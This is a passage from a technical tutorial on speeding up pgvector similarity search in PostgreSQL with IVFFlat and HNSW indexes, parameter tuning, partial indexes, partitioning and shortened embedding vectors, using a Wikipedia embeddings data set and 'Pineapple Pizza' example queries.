-0.009172018617391586, 0.04379875212907791, -0.0191004928201437, -0.03557860478758812, -0.012651711702346802, 0.012601281516253948, 0.019907377660274506, -0.027081094682216644, -0.0031818393617868423, -0.0356290377676487, -0.012418472208082676, -0.013805306516587734, -0.005074553191661835, -0.0015066064661368728, -0.020184744149446487, 0.010539941489696503, 0.012626497074961662, 0.014549153856933117, 0.03989040106534958, 0.02469825930893421, -0.004809794016182423, -0.030964229255914688, 0.002089707413688302, -0.025895981118083, 0.020726870745420456, -0.012557155452668667, 0.020676439628005028, -0.008806398138403893, 0.015847735106945038, 0.016818519681692123, 0.01004194188863039, -0.0008005817071534693, 0.004708933178335428, -0.009310701861977577, -0.033057089895009995, 0.004337009508162737, -0.007835614494979382, -0.036662857979536057, -0.011977205984294415, 0.0011441383976489305, 0.008850525133311749, -0.0186340119689703, 0.01814231649041176, -0.004434718284755945, 0.0022157831117510796, 0.0006760817486792803, -0.006915260571986437, 0.03683936595916748, 0.03744452819228172, 0.018016239628195763, -0.03782275691628456, 0.017524544149637222, 0.01412049587816, 0.011523333378136158, -0.012613889761269093, 0.004939021542668343, 0.01040756143629551, 0.0226180087774992, -0.015393861569464207, 0.0018328276928514242, 0.0003733027260750532, -8.313126454595476e-05, -0.001887985970824957, 0.021760692819952965, 0.01364140771329403, -0.007318703457713127, 0.02884615585207939, 0.003236997639760375, -0.004708933178335428, -0.002825675066560507, -0.005295185837894678, 0.0017776695312932134, -0.019718263298273087, 0.010067157447338104, -0.04755581170320511, -0.0335109606385231, 0.010073460638523102, 0.008226449601352215, 0.022958412766456604, -0.022151527926325798, -0.00501466728746891, 0.01705806329846382, 0.006455083843320608, 0.024761298671364784, -0.005622982978820801, 0.003331554587930441, -0.018457505851984024, 0.02327360212802887, -0.006284881383180618, 0.00955024641007185, 0.026072487235069275, -0.008068854920566082, 0.008554247207939625, -0.0042487564496695995, 0.007488905917853117, -0.020184744149446487, 0.016049455851316452, -0.0056923250667750835, 0.015217355452477932, 0.016856342554092407, -0.010899257846176624, -0.012815610505640507, -0.0036782631650567055, 0.03222499042749405, 0.00956285372376442, 0.03116595186293125, -0.006562248338013887, 0.04722801595926285, 0.003511212533339858, -0.00980870146304369, -0.0037728198803961277, 0.017776696011424065, 0.0058310083113610744, -0.01973087154328823, 0.003095162333920598, 0.011731358245015144, -0.010344523936510086, 0.013578369282186031, 0.0008628316572867334, -0.003186567220836878, -0.004696325398981571, -0.0033662253990769386, -0.006757665891200304, -0.008194930851459503, 0.004920110106468201, -0.012355433776974678, -0.018407074734568596, 0.010930776596069336, 0.035679467022418976, 0.012519332580268383, 0.007810399401932955, -0.03426741808652878, 0.0010708568152040243, -0.018709657713770866, 0.007079159375280142, 0.011951991356909275, -0.03542731702327728, 0.008610980585217476, 0.0025656437501311302, -0.062281474471092224, -0.011586370877921581, 0.02092859148979187, -0.0014033818151801825, -0.005733299534767866, 0.009411562234163284, 0.022983629256486893, 0.0318719744682312, -0.006480298936367035, 0.028316637501120567, -0.021130314096808434, 0.004425262566655874, 0.004292882978916168, -0.019554365426301956, -0.0041069211438298225, -0.011485510505735874, -0.02469825930893421]'::VECTOR(1536) as vt\n)\nselect title, content_vector \u003c-\u003e vt similarity\nfrom articles join data on 1=1\norder by content_vector \u003c-\u003e vt\nlimit 10;\n```\n\nThe vector defined in the `data` section is the embedding of `Pineapple Pizza` generated using the OpenAI `text-embedding-ada-002` model. This is the same model that was used to calculate the embeddings of the Wikipedia data set. \n\nThe query results in the following 10 articles. The top articles are closely related to pineapple and/or pizza. Hawaiian Punch is semantically similar, as a food or drink item with a pineapple flavor. Afelia and pie are also food items. Lanai is known as the Pineapple Island because pineapples were grown there previously. We’re not sure why the New Zealand island of Te Puke appears in the results. \n\n\n```\n title | similarity\n----------------+--------------------\n Pizza Pizza | 0.5479716613013446\n Pizza | 0.5768115872776731\n Pepperoni | 0.610343554634968\n Pineapple | 0.6146698071910883\n Pizza Hut | 0.6337399221217159\n Te Puke | 0.6567274128181192\n Lanai | 0.6621790036299536\n Hawaiian Punch | 0.6701219221107402\n Pie | 0.673541906631888\n Afelia | 0.6747670584095107\n(10 rows)\n```\n\n\nThe above query returns in `447.857 ms`, since the data set is quite small. Still, in order to provide the results, PostgreSQL had to:\n\n1. Scan all the rows, where each row represents an article.\n2. Perform, for each row, a calculation over the `1536` elements.\n3. Order the results based on the similarity score.\n4. Retrieve the top 10 results.\n\nSuch an operation cannot scale to huge data volumes because it’ll need to perform at least `N*1536` calculations for each query. It’s worth remembering that there are more than six million pages in the English Wikipedia, and we’re only using 25,000 of them. \n\nSo, how can we speed it up?\n\n## Introducing indexes in pgvector\n\nA common solution to speed up queries in a database is to use indexes. They usually enable you to look up some column values quickly without losing accuracy. \n\nThis is not true for pgvector indexes, which can index one or more columns containing embeddings. To speed up the performance, we need to make accuracy tradeoffs. \n\nIf we want to optimize the performance of our query above, we need to take some shortcuts in the four execution steps. The ordering and retrieval are essential for our query. The only opportunities for optimization are avoiding scanning all the rows or performing the similarity search based on a subset of the `1536` elements.\n\n\n## Indexes to avoid a full table scan\n\nLet’s look at indexes that allow us to avoid scanning and comparing the input vector with all the rows in the data set. These indexes work by segmenting the vector space and allowing us to perform a top-down approximate search.\n\nThe two main indexes of this type in pgvector are IVFFlat and HNSW.\n\n\n### Using the IVFFlat index\n\nThe Inverted File with Flat Compression (IVFFlat) index groups vectors in clusters. The centroid is the middle of all the points in a cluster. When searching for a vector similar to an input, the first step is to find the nearest centroids and then look into the subset of vectors within their clusters.\n\nIn the image below, the search algorithm will look into the nearest clusters (`Cluster A` and `Cluster C)` but might skip all the points in `Cluster B`. \n\n\n![The graph shows how IVFFlat uses clusters of vectors to streamline the search. The closest clusters are investigated further.](https://cdn.sanity.io/images/sczeoy4w/production/7e019287dd035876b31f1ce65b6ff45158f57670-2200x1680.png)\n\nThe accuracy and speed of the results depends on the effectiveness of the clustering algorithm. IVFFlat provides two parameters you can tune:\n\n\n* `lists`: the maximum number of vectors in a cluster. All clusters have the same maximum number of vectors, but the actual number of vectors in a cluster can vary.\n* `probes`: the number of clusters to examine during the search.\n\n\n#### Tuning the IVFFlat lists parameter\n\nA smaller `lists` parameter creates smaller clusters, with less distance between the vectors and the centroid. However, it increases the number of clusters, making the search less efficient. The image below shows how a change in the `lists` parameter from 5 to 8 might affect the cluster composition.\n\n\n![The graph shows how increasing the lists parameter changes which vectors are in a cluster. In this example, two clusters merge.](https://cdn.sanity.io/images/sczeoy4w/production/f7efa266b91ada28056a31ff838c6bfa3bef9fd8-3200x1356.png)\n\n\nThe number of clusters and the distance of the centroid affect the accuracy of the results. In the following visualization we can see how the 4 similar vectors from the input might change in the case when only the closest cluster is inspected. Note that in both cases, one of the closest results is not discovered when the index is used.\n\n![The graph shows how the four closest vectors to the yellow input query change depending on the cluster size when only the closest cluster is inspected. Larger cluster sizes can give suboptimal results.](https://cdn.sanity.io/images/sczeoy4w/production/2875feb32fab477bd436c33e4ce2374dc838c134-3200x894.png)\n\n\n\n#### How to define the IVFFlat list parameter\n\nThe `lists` parameter is defined during the index creation stage. The [pgvector documentation](https://github.com/pgvector/pgvector?tab=readme-ov-file#ivfflat) suggests using the following formula for `lists` as a starting point:\n\n\n* `rows / 1000` for up to 1 million rows \n* `sqrt(rows)` for over 1 million rows\n\nFor our testing purposes, let’s create an index with a maximum of `200` vectors in a cluster:\n\n\n```sql\nCREATE INDEX idx_articles_ivfflat ON articles USING ivfflat (content_vector vector_l2_ops) WITH (lists = 200);\n```\n\nCreating the index took approximately `15 seconds` in my test environment. \n\n**Note**: Increasing the `lists` parameter will require more working memory. If your working memory is not enough you could get an error like this: \n\n```sql\nERROR: memory required is 405 MB, maintenance_work_mem is 150 MB. \n```\n\nIn such cases, check your server has enough memory and then increase the working memory with a statement like this:\n\n```sql\nset maintenance_work_mem='500MB'; \n```\n\nYou can then try entering the index creation statement again.\n\nWhen you issue a new search query, it will use the index automatically. In some cases, you might need to run:\n\n```sql\nANALYZE articles\n```\n\nto force the index to be recognized.\n\nIf we issue the same `Pineapple Pizza` query we used earlier, the results are retrieved much faster (`130 ms`) but are quite different from the original query.\n\n```\n title | similarity\n------------+--------------------\nPizza | 0.5768115872776731\nPepperoni | 0.610343554634968\nAfelia | 0.6747670584095107\nRavioli | 0.6852264524921056\nPot Noodle | 0.6863169461307689\nCoprophagia | 0.6866620332212815\nKalua | 0.6980457162874122\nAndouille | 0.7013536605444092\nDim sum | 0.7031395804694845\nDoner kebab | 0.704823434748779\n\n(10 rows)\n```\n\n\nMost of the results from our original results (including `Pizza Pizza`, `Pineapple`, and `Hawaiian Punch`) have disappeared. The new results have less similarity to `Pineapple Pizza`.\n\n\n#### Tuning the IVFFlat probes parameter\n\nWhy so much change? It’s because we clustered the vectors in groups of `200` and we analyzed only the cluster with the closest centroid to our input vector, because the `probes` parameter is `1` by default.\n\nThe `probes` parameter, which can be changed at query time, identifies the number of clusters that PostgreSQL will inspect. In the case of `probes=1`, only the cluster with the closest centroid to the input vector will be inspected. With `probes=N` the top N closest clusters will be inspected (see the image below).\n\n![Graph shows how increasing the probes parameter means more clusters are investigated, so results may be more accurate.](https://cdn.sanity.io/images/sczeoy4w/production/513ebe6d513d85285a93612e9294ab5c41c7bc53-3200x1340.png)\n\nA lower `probes` parameter speeds up queries at the cost of accuracy. A higher `probes` number will probably slow down the query, but it will return higher quality results.\n\n\n#### How to define the IVFFlat probes parameter\n\nYou can change the probes parameter before you run a query. In our example, we can change the `probes` parameter to `2` with:\n\n```sql\nSET ivfflat.probes = 2;\n```\n\n\nIf we now issue the same query as before, it displays a result set more aligned with the one retrieved from the non-indexed table.\n\n```text\n title | similarity\n------------+--------------------\nPizza Pizza | 0.5479716613013446\nPizza | 0.5768115872776731\nPepperoni | 0.610343554634968\nPizza Hut | 0.6337399221217159\nAfelia | 0.6747670584095107\nRavioli | 0.6852264524921056\nPot Noodle | 0.6863169461307689\nCoprophagia | 0.6866620332212815\nKalua | 0.6980457162874122\nAndouille | 0.7013536605444092\n\n(10 rows)\n```\n\nThis is a good time to talk about performance measurement. When I ran this query, the time taken dropped from `130 ms` (`probes=1`) to `79 ms` (`probes=2`). That means I achieved both higher quality and faster performance, which was unexpected. However, the time scales we’re dealing with are tiny and highly susceptible to effects such as network delay because I was using a cloud service. I recommend you conduct your own speed tests. Results may be more repeatable and more likely to be as expected when working with larger data sets. \n\nSome entries from the original non-indexed results, such as `Hawaiian Punch`, are not shown. Let’s try increasing the `probes` parameter to `10`:\n\n```sql\nSET ivfflat.probes = 10;\n```\n\n\nThe query now runs in `208 ms` (much faster than the non-indexed `447 ms`) and the result set is more aligned with the initial content list.\n\n```\n title | similarity\n---------------+--------------------\nPizza Pizza | 0.5479716613013446\nPizza | 0.5768115872776731\nPepperoni | 0.610343554634968\nPineapple | 0.6146698071910883\nPizza Hut | 0.6337399221217159\nHawaiian Punch | 0.6701219221107402\nPie | 0.673541906631888\nAfelia | 0.6747670584095107\nPastry | 0.6821241658509565\nRavioli | 0.6852264524921056\n\n(10 rows)\n```\n\n\nThe most important takeaway is that increasing the `probes` parameter increases the accuracy, but also the query time.\n\n\n### Using the Hierarchical Navigable Small Worlds (HNSW) index\n\nAnother approach is the [Hierarchical Navigable Small Worlds (HNSW)](https://arxiv.org/pdf/1603.09320.pdf) index. Instead of creating clusters of nodes around centroids, the HNSW index creates layers of increasingly dense linked vectors, as shown in the image below.\n\n![The graph shows the layers of the HNSW index. The search path passes through a vector that links the layers, and then through the vectors connected to that vector on the lower layer. There are four layers of increasing vector density.](https://cdn.sanity.io/images/sczeoy4w/production/c6124f6bd8cf728a2226f873c0f22cccdd7b7135-3200x1982.png)\n\nAt query time, the search algorithm will start at the top layer and find the nearest vector to the input vector. It then descends through it, and assesses the vectors that are directly linked on the next layer. It keeps descending through the layers and evaluating the distance from the input vector until it generates the closest vector as the result at the bottom layer. \n\nInternally the HNSW indexes are built as linked lists, with an increasing number of nodes added at each layer.\n\nThe accuracy and speed of the results depends on how effectively the layers are built. HNSW provides two index creation parameters that we can tune:\n\n* `m`: the number of connections to nearest neighbors. For every vector on a layer, `m` defines the number of links to other vectors.\n* `ef_construction`: the number of nearest neighbors to keep in the list while traversing the layer for index creation.\n\nHSNW also provides a parameter tunable at query time, named `ef_search`. It dictates how many closest neighbors to keep in the working list during the search. The explanation above is simplified by implying there is just one path through the layers. The search can follow multiple paths through the layers, which is why the working list is needed. With a higher `ef_search` value, more vectors are inspected, which is slower but is likely to deliver better results.\n\n\n#### Tuning the HNSW `m` parameter\n\nA small `m` parameter will create layers with fewer connections, which are therefore faster to navigate. At the same time, having fewer connections between vectors means that the accuracy could be reduced. There could be a missing link between a node accessed at `layerN+1` and the optimal node at `layerN` as shown in the image below.\n\n\n![The graph shows how having a small value of m can mean the search can not discover a vector that is closest to the input query.](https://cdn.sanity.io/images/sczeoy4w/production/19dd046d215771e16491a9030303a1203cc91a87-3200x1712.png)\n\nOn the other hand, increasing `m` means the vectors on a level are more connected. There are more chances to find the closest vector, and just not an approximation due to a lack of connections. The improved quality comes at the cost of performance: more connections are available and therefore more connections need to be checked.\n\n\n#### Tuning the HNSW `ef_construction` parameter\n\nThe `ef_construction` parameter defines the size of the closest candidate list used during the index building process. The list contains the closest candidates found so far while traversing the graph. Once the traversal is finished, the list is sorted and only the first `m` links are kept. See the image below.\n\n![For each vector under analysis, ef_construction stores a working list of the closest vectors. When discovery is finished, the list is truncated to m, which stores the number of connections for each vector.](https://cdn.sanity.io/images/sczeoy4w/production/35f512e01083d5c8360a18d1106fb93823ed2b70-3200x1794.png)\n\n\nA higher value for `ef_construction` will likely increase accuracy because more vectors are kept in the working list. But it will take longer to create the index because there are more vectors to evaluate. \n\n#### How to define the HNSW `m` and `ef_construction` parameters\n\nBoth the `m` and `ef_construction` parameters are defined during index creation. Drop the IVFFlat index created previously with:\n\n```sql\nDROP INDEX idx_articles_ivfflat;\n```\n\nWe can then create the HNSW index with `m=10` and `ef_construction=40` by entering:\n\n```sql\nCREATE INDEX idx_articles_hnsw ON articles USING hnsw (content_vector vector_l2_ops) WITH (m = 10, ef_construction = 40);\n```\n\nThe HNSW index is slower to build than the IVFFlat index. You can check progress with:\n\n```sql\nSELECT phase, \nround(100.0 * blocks_done / nullif(blocks_total, 0), 1) AS \"%\" \nFROM pg_stat_progress_create_index;\n```\n\nWhich will show a table like this:\n\n```text\n phase | %\n-------------------------------+------\nbuilding index: loading tuples | 97.4\n\n(1 row)\n```\n\n\nThis tells us that the index is in the `loading tuples` stage (the second and final stage) at 97.4%. Our example took `2 min 5 secs` to build the HNSW index. That’s quite a lot longer than the `15 seconds` of the IVFFlat.\n\n**Note**: you might hit the following warning:\n\n\n```text\nNOTICE: hnsw graph no longer fits into maintenance_work_mem after 23852 tuples\nDETAIL: Building will take significantly more time.\nHINT: Increase maintenance_work_mem to speed up builds.\n```\n\n\nThis can be solved by increasing the `maintenance_work_mem` as discussed for the IVFFlat index.\n\nTime to query! Let’s try our standard query and check the results! The query is now retrieved in only `28 ms` and returns exactly the same results as the non-indexed query which took `447.857 ms`.\n\n```text\n title | similarity\n---------------+--------------------\nPizza Pizza | 0.5479716613013446\nPizza | 0.5768115872776731\nPepperoni | 0.610343554634968\nPineapple | 0.6146698071910883\nPizza Hut | 0.6337399221217159\nTe Puke | 0.6567274128181192\nLanai | 0.6621790036299536\nHawaiian Punch | 0.6701219221107402\nPie | 0.673541906631888\nAfelia | 0.6747670584095107\n\n(10 rows)\n```\n\n\n\n#### Tuning the HNSW `ef_search` parameter\n\nAs mentioned earlier, the `ef_search` parameter dictates the number of closest vectors to keep in the working list during the search. The default value is `40`.` `Let’s check how changing this parameter affects the performance and the accuracy by modifying it to keep only the closest vector in the working list:\n\n\n```sql\nSET hnsw.ef_search = 1;\n```\n\nIf we now rerun the query, the result set is as shown below:\n\n```\n title | similarity\n---------+--------------------\n Pompeii | 0.7384170730225783\n(1 row)\n```\n\nThere are a couple of things of note:\n\n* The result set contains only 1 row instead of 10: this is because `ef_search` dictates the number of vectors to keep in the working list, effectively setting a maximum number of results that can be output. \n* The retrieved row is not the one with highest similarity: since we are only keeping the closest vector during our descent through the layers, we found a local optimum and not the overall optimum result. The new result is both new and not closely related to the query.\n\nLet’s now increase `ef_search` to `5`:\n\n\n```sql\nSET hnsw.ef_search = 5;\n```\n\nAgain, the result set seems stuck in a local optimum, far from the expected results:\n\n```\n title | similarity\n------------------------+--------------------\nAfelia | 0.6747670584095107\nPianosa | 0.6796609500654267\nEstádio Palestra Itália | 0.711623227925174\nGiannutri | 0.7129644486337057\nGorgona, Italy | 0.714280954413222\n\n(5 rows)\n```\n\n\nRaising the `ef_search` parameter to `20` gives us a result set closer to the expected results:\n\n```text\n title | similarity\n---------------+--------------------\nPizza Pizza | 0.5479716613013446\nPizza | 0.5768115872776731\nPepperoni | 0.610343554634968\nPineapple | 0.6146698071910883\nPizza Hut | 0.6337399221217159\nTe Puke | 0.6567274128181192\nLanai | 0.6621790036299536\nHawaiian Punch | 0.6701219221107402\nPie | 0.673541906631888\nAfelia | 0.6747670584095107\n\n(10 rows)\n```\n\n\n### HNSW vs IVFFlat: Which to use?\n\nThe tests we’ve done and their results provide a nice overview of the two indexing options we have. The next question is: which one should I choose?\n\nThe reply is, as always, it depends: IVFFlat indexes are usually faster to build and smaller in size, but, on the other hand, are slower to use and less accurate. If your main optimization objective is to speed up the index creation phase or to keep the index size to a minimum, then IVFFlat is your best option. If, though, you want to maximize both accuracy and query speed, then choose HNSW.\n\nIf you are carrying out a lot of updates and deletes on the database, HNSW is the better option. The IVFFlat clustering mechanism would need to be rebuilt, but HNSW can remove vectors from the internal linked list easily, taking less time.\n\n![Summary table comparing IVFFlat vs HNSW](https://cdn.sanity.io/images/sczeoy4w/production/5ba66e2d19565050210d1cd793c2cd7a82989f07-3200x1214.png)\n\n## Additional techniques to speed up vector indexes\n\nThe above techniques assume we want to create an index across the entire data set. However, we can use standard PostgreSQL performance improvements to further speed up certain types of queries.\n\n\n### Partial indexes\n\nFor example, if we only care about indexing a particular subset of the data, we can apply a `WHERE` condition during the index creation process, like this:\n\n\n```sql\nCREATE INDEX idx_articles_hnsw ON articles \n USING hnsw (content_vector vector_l2_ops) \n WITH (m = 10, ef_construction = 40) WHERE id \u003c 4000;\n```\n\n\nThis will index only the rows having an `id` less than `4000`, resulting in a smaller and faster index for queries that are looking within this segment of data. \n\nIf we add `WHERE id between 1 and 1000` to our original query, using `EXPLAIN` will show the `idx_articles_hnsw` index is being used:\n\n\n```sql\n-----------------------------------------------------------------------------------------------\n QUERY PLAN\n-----------------------------------------------------------------------------------------------\n Limit (cost=41.30..67.74 rows=10 width=21)\n -\u003e Index Scan using idx_articles_hnsw on articles (cost=41.30..916.62 rows=331 width=21)\n Order By: (content_vector \u0026lt;-\u003e '[....]'::vector(1536))\n Filter: ((id \u003e= 1) AND (id \u0026lt;= 1000))\n(4 rows)\n\n(END)\n```\n\n\n\n### Table partitioning\n\nIf we want to index the whole data set, but we are happy to create different vector indexes based on categorizing the data, then we can use partitioned tables with dedicated indexes for each partition.\n\nIn our Wikipedia example, we can create a table that partitions the data based on the hashing of the `title` column with:\n\n\n```sql\nCREATE TABLE IF NOT EXISTS articles_partitioned (\n id INTEGER NOT NULL,\n url TEXT,\n title TEXT,\n content TEXT,\n title_vector vector(1536),\n content_vector vector(1536),\n vector_id INTEGER\n)\nPARTITION BY hash(id);\nCREATE TABLE articles_partitioned_p_hash_p1 partition of articles_partitioned for values with (modulus 10, remainder 0);\nCREATE TABLE articles_partitioned_p_hash_p2 partition of articles_partitioned for values with (modulus 10, remainder 1);\nCREATE TABLE articles_partitioned_p_hash_p3 partition of articles_partitioned for values with (modulus 10, remainder 2);\nCREATE TABLE articles_partitioned_p_hash_p4 partition of articles_partitioned for values with (modulus 10, remainder 3);\nCREATE TABLE articles_partitioned_p_hash_p5 partition of articles_partitioned for values with (modulus 10, remainder 4);\nCREATE TABLE articles_partitioned_p_hash_p6 partition of articles_partitioned for values with (modulus 10, remainder 5);\nCREATE TABLE articles_partitioned_p_hash_p7 partition of articles_partitioned for values with (modulus 10, remainder 6);\nCREATE TABLE articles_partitioned_p_hash_p8 partition of articles_partitioned for values with (modulus 10, remainder 7);\nCREATE TABLE articles_partitioned_p_hash_p9 partition of articles_partitioned for values with (modulus 10, remainder 8);\nCREATE TABLE articles_partitioned_p_hash_p10 partition of articles_partitioned for values with (modulus 10, remainder 9);\n```\n\nWe can insert the data into the `articles_partitioned` table with:\n\n```sql\nINSERT INTO articles_partitioned SELECT * FROM articles;\n```\n\nWe can now create an index like this:\n\n```sql\nCREATE INDEX idx_articlespartitioned_hnsw ON articles_partitioned \n USING hnsw (content_vector vector_l2_ops) \n WITH (m = 10, ef_construction = 40);\n```\n\n\nThe index is created pretty fast, but the results are not as accurate as before:\n\n```text\n title | similarity\n------------+--------------------\nPizza Pizza | 0.5479716613013446\nPepperoni | 0.610343554634968\nPineapple | 0.6146698071910883\nPizza Hut | 0.6337399221217159\nTe Puke | 0.6567274128181192\nPie | 0.673541906631888\nAfelia | 0.6747670584095107\n1518 | 0.6799215593395357\nPastry | 0.6821241658509565\nRavioli | 0.6852264524921056\n\n(10 rows)\n```\n\n\nThe accuracy is lower because PostgreSQL creates an index per partition. From the similarity search point of view, it creates layers or clusters based only on data contained in a single partition (see the image below).\n\n\n![Illustration shows that the layers or clusters for each partition’s index are based only on the data within that partition.](https://cdn.sanity.io/images/sczeoy4w/production/fddd1bcb3cc911aa4d15836001553eaf4215ff6a-3200x1004.png)\n\n\nThis approach is good if we know our search will always hit data in just one partition. For example, if we partition the table based on products, searching within a particular product category will work well. If a search is done across partitions, for example looking for items with similar designs across different product categories, there may be suboptimal results. In our pizza example, we partitioned by hashing the id and the query spanned all the partitions, so the accuracy was lower.\n\n\n### Hybrid search with index combination\n\nYou might be wondering whether it’s possible to combine an index with a hybrid search, to speed up combined searches of vectors and standard data columns. Unfortunately, it isn’t yet.\n\nYou might think we could index the vector and standard data columns separately and that PostgreSQL could combine the results of the indexes. \n\nFor example, let’s consider the following query (the vector data is hidden in the SQL):\n\n\n```sql\nselect title, \ncontent_vector \u003c-\u003e vt similarity\nfrom articles\nwhere id = 1000\norder by content_vector \u003c-\u003e [........]\nlimit 10;\n```\n\nOur data set is somewhat limited, so for demonstration purposes we’ll search by ID as well as the article content, even though the ID is just a sequential number. Let’s create an index on the `articles` column `id`: \n\n```sql\ncreate index idx_id on articles(id);\n```\n\n\nOur hope is that PostgreSQL will use both indexes to retrieve the results without accessing the table. However, PostgreSQL only uses the index on the `content_vector` column to find the nearest vectors and then filters the result using the `id` column, as shown by `EXPLAIN`:\n\n```text\nLimit (cost=61.45..64.54 rows=10 width=21)\n -\u003e Index Scan using idx_articles_hnsw on articles (cost=61.45..7673.61 rows=24666 width=21)\n Order By: (content_vector \u003c-\u003e '[...]'::vector(1536))\n Filter: (id \u003e 1000)\n(4 rows)\n```\n\nWhile this returns the right results, it doesn’t give us the speed benefit of using an index on the `id` column.\n\nUnfortunately, you can’t create multi-column indexes that mix vector and standard data. Let’s try, for example, to add multiple columns to an `hnsw` (or `ivfflat` index) like this:\n\n\n```sql\nCREATE INDEX idx_articles_hnsw ON articles \n USING hnsw (content_vector vector_l2_ops, id) WITH (m = 10, ef_construction = 40)\n```\n\nWe get the following error:\n\n```text\nERROR: access method \"hnsw\" does not support multicolumn indexes\n```\n\nWe could try to do this with the `INCLUDE` option like this:\n\n```sql\nCREATE INDEX idx_articles_hnsw ON articles \n USING hnsw (content_vector vector_l2_ops) INCLUDE (id) WITH (m = 10, ef_construction = 40)\n```\n\nBut this results in a similar error:\n\n```text\nERROR: access method \"hnsw\" does not support included columns\n```\n\n\nSince hybrid search is becoming more popular, we expect methods like this to be supported in the future. Looking at the pgvector GitHub repository, there’s an[ active discussion about combining HNSW and filtering in a unique index](https://github.com/pgvector/pgvector/issues/259). Moreover, [a branch](https://github.com/pgvector/pgvector/tree/hqann) was recently created as a first attempt to implement the [HQANN](https://arxiv.org/pdf/2207.07940.pdf) search. This should allow scalar and vector types to be mixed in the same index using a modified distance function. It’s worth keeping an eye on both of these developments because hybrid searches are a common requirement. \n\nPlease note that hybrid queries are still possible in PostgreSQL, they will only partially use one of the index available.\n\n\n## Indexes to avoid full vector element comparison\n\nThe indexes we’ve explored allowed us to avoid scanning the full table, but this is only one of the optimization options when dealing with vectors. The other is to reduce the amount of work by shortening the vector size: instead of comparing `1536` elements per array, why don’t we compare only a subset (for example, `256`) of them? \n\nIn the past, this wouldn’t work because models were trained with a specific embedding length in mind and gave each element equal weight. Skipping some embeddings would mean arbitrarily discarding useful information. But more recent models, such as OpenAI `text-embedding-3-large`, provide a [native way to shorten embeddings](https://openai.com/blog/new-embedding-models-and-api-updates), without losing too much accuracy. In technical terms, this is called Matryoshka representation learning.\n\nWhen using models which have the embeddings shortening feature, we can work with a subset of the elements, usually taking the first chunk in predefined sizes (for example `256`, `512` or `1024`. \n\n\n### Shortening the vector size in PostgreSQL\n\nHow do we shorten the vector size? You might think you could use subscripting:\n\n```sql\nSELECT content_vector[1:256] FROM articles;\n```\n\nUnfortunately this doesn’t work, giving you the following error:\n\n```text\nERROR: cannot subscript type vector because it does not support subscripting. \n```\n\nYou could try to cast the vector as an 256-item array of float:\n\n```sql\nselect content_vector::FLOAT[256] from articles;\n```\n\nBut this also fails:\n\n```text\nERROR: cannot cast type vector to double precision[]. \n```\n\nWhat we can do is cast the vector as text and then as an array like this:\n\n```sql\nselect translate(((translate(content_vector::text, '[]','{}')::FLOAT[])[0:256]::text), '{}','[]')::vector(256) \nfrom articles \nlimit 1;\n```\n\nIn the above we: \n\n* convert the `content_vector` to `text`\n* substitute the `[` and `]` with `{` and `}` \n* cast the result to a `FLOAT` array\n* take the first `256` entries from the resulting array via subscripting (`[0:256]`)\n* substitute the `{` and `}` with `[` and `]`\n* Convert back to `text`\n* cast the result back to vector\n\n\n### Indexing a shortened vector in PostgreSQL\n\nHow can we speed up the search query? We could create an index on the entire expression for creating the shortened vectors like this (paste the first 256 elements of the query into the second line):\n\n\n```sql\nwith data as (\n select '[first 256 elements of the OpenAI vector]'::VECTOR(256) as vt\n)\nselect title, \n translate(((translate(content_vector::text, '[]','{}')::FLOAT[])[0:256]::text), '{}','[]')::vector(256) \u003c-\u003e vt similarity\nfrom articles_partitioned join data on 1=1\norder by translate(((translate(content_vector::text, '[]','{}')::FLOAT[])[0:256]::text), '{}','[]')::vector(256) \u003c-\u003e vt\nlimit 10;\n```\n\nThis code runs, without indexes, in `30 sec` and is creating the `256` element version of the embeddings.\n\nWe could try to create the index with:\n\n```sql\nCREATE INDEX idx_articles256_hnsw ON articles_partitioned \n USING hnsw ((translate(((translate(content_vector::text, '[]','{}')::FLOAT[])[0:256]::text), '{}','[]')::vector(256)) vector_l2_ops) \n WITH (m = 10, ef_construction = 40);\n```\n\n\nBut that fails with the following error:\n\n```text\nERROR: functions in index expression must be marked IMMUTABLE. \n```\n\nWhat’s more, indexes over functions are not a great technique because they force users to use the same complex syntax to query them. \n\nAn alternative is to create an additional column in the `articles` table to store the `256` element vectors:\n\n```sql\nALTER TABLE articles ADD COLUMN content_vector_reduced VECTOR(256);\n```\n\nWe can populate it like this:\n\n```sql\nUPDATE articles SET content_vector_reduced=translate(((translate(content_vector::text, '[]','{}')::FLOAT[])[0:256]::text), '{}','[]')::vector(256);\n```\n\nAnd create the index on the `256` element version with:\n\n```sql\nCREATE INDEX idx_articles256_hnsw ON articles \n USING hnsw (content_vector_reduced vector_l2_ops) \n WITH (m = 10, ef_construction = 40);\n```\n\nCreating this index is way faster (`15 sec`). \n\nWe can now try this query, limiting the input vector to the first 256 elements of the original array:\n\n```sql\nwith data as (\n select '[\n 0.02338707074522972, -0.017537152394652367, 0.014360039494931698, -0.025202563032507896, -0.017234569415450096, 0.0018643466755747795, -0.013893559575080872, -0.009581765159964561, 0.006732450798153877, -0.03714194521307945, 0.021848944947123528, 0.008800094947218895, -0.012323915027081966, 0.005071401130408049, -0.0010046670213341713, 0.008768576197326183, 0.03086336888372898, -0.010867739096283913, -0.001483755186200142, -0.006631589960306883, 0.00044835725566372275, -0.01773887313902378, 0.01492738164961338, -0.01236173789948225, 0.022340642288327217, 0.009815005585551262, 0.008579461835324764, -0.00020428228890523314, 0.011605282314121723, 0.014309609308838844, 0.05285099893808365, -0.0039430223405361176, -0.012985813431441784, -0.01689416542649269, -0.02065122500061989, 0.0007375437417067587, -0.003873680718243122, -0.010886650532484055, 0.001689416472800076, -0.022769300267100334, 0.01762540452182293, -0.03451956808567047, -0.009644802659749985, -0.023160135373473167, -0.042336273938417435, 0.0012576066656038165, -0.002456903224810958, -0.01002933457493782, -0.0002019183593802154, -0.01362880039960146, 0.018482720479369164, 0.009733055718243122, -0.028140131384134293, -0.005036730319261551, 0.005433869548141956, 0.010357131250202656, -0.0082012340426445, -0.023424893617630005, -0.00740065285935998, -0.01778930239379406, 0.01135313045233488, 0.0030967381317168474, -0.03149374946951866, 0.003227541921660304, -0.0014018059009686112, 0.005799489561468363, 0.003656199900433421, -0.011605282314121723, 0.021647224202752113, -0.008012120611965656, 0.021382465958595276, 0.007583462633192539, 0.01825578324496746, -0.02455957606434822, 0.013111889362335205, 0.006612678524106741, -0.01002933457493782, -0.013843129388988018, 0.0011441383976489305, 0.009436777792870998, 0.026501145213842392, -0.012424775399267673, 0.0019179289229214191, 0.038327060639858246, 0.017511935904622078, 0.0007111466256901622, -0.0398399718105793, 0.014902166090905666, 0.01705806329846382, -0.0058120968751609325, -0.01645289920270443, 0.005802641157060862, -0.0021842641290277243, 0.013200142420828342, -0.038629643619060516, 0.012626497074961662, 